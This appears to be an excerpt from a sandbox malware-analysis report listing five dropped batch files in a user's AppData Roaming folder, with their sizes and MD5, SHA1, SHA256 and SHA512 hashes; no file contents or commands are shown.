2ffe0418696b0fa40e45a44913b2acca35357f939c151fe60b6a15c6fc19ecd9f7a957fdb02c72a6079607aa82b80953f6dc444cf6c6d6b88d1bfafc15fc1aa0

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\21215.bat

Filesize
100B

MD5
0ace6c5622a1b5a058fbfb561d009cd6

SHA1
10e7a6298ceecd3db73cf887b5a68aa862cfbd5b

SHA256
d541cc65b1046e602e9dd431d011f127a3c7ae4678da9f7bb5f394b40aa5b5ca

SHA512
2e28ec338703ce9ed60754528326cf7b24fe3357a8a4b06a7faced37da08e089e342905b4d2482386c24b260ca95e486b15549b0a8813beb88b3f2a72443b220

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\25182.bat

Filesize
95B

MD5
c8e5a6d249367d7b6608cc74390718d3

SHA1
33257bf0b038893fdb932e9c178b1b66aba1c500

SHA256
bda19d2bd4c82569fa4506e06179fd9ccae29a28ed6865a1fb09d18fe7f4a7d8

SHA512
428f81250975868135747163296787b84a9db1b9b3bb78f86c4fd3ad276edd2fde5338a8ee4ec6a317ae1b75f70e5f7cdcd2648c18d21d402323137f0b71c765

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\29695.bat

Filesize
103B

MD5
f3f9eafd2fb22895b128336b8a18c799

SHA1
f1c22c30e023dc9ab482cfa6687884b1ce3c48c2

SHA256
d3d38d901ae86ee920b3d041b144992ef51ee621426c6b3352caac3715d2bb25

SHA512
0162b9f9f9a3ce7faad67de47018c9af32a62ba7aba0fbbfca4035b5eccde398dd10ddb30410f5b3ab45bd0f7108248bde5d59fcdef7a0ad3818b9fed68fac06

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\7513.bat

Filesize
97B

MD5
806874874e131c545464315588a7d77c

SHA1
3958143d3586d14cd46606fb004b1cff84bce913

SHA256
874723c4e53966d524e04914eca19dd4987edb12c24add2d4ab7b16757881c77

SHA512
d61f53c3116c1e348cdb11929cbc092fbe169926bf0b75e0c3c937d84c0c187509f8431a41d648cd944f2d9908feb42e8e2cdd7827542018d8a87ccbe62a44ca

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\8465.bat

Filesize
94B

MD5
3eda3eb3cbf48a2a3ab48633813b910e

SHA1
11c8916d3017d0ae2944c836b8041310f2d29803

SHA256
5a1be7e88d6965fd01bb19ff8fd524cad7db1e60a1ac3aa7c205b605e1b9d5f7

SHA512
10344a29b5a46ce1d2bd2ea119b1b91297523605ec25fc3aec85a3ca01439180acfe7596cb5849f8c66ad36d514f8b74b7adee3f5bcc12952da672bc3cb332fc

Download Submit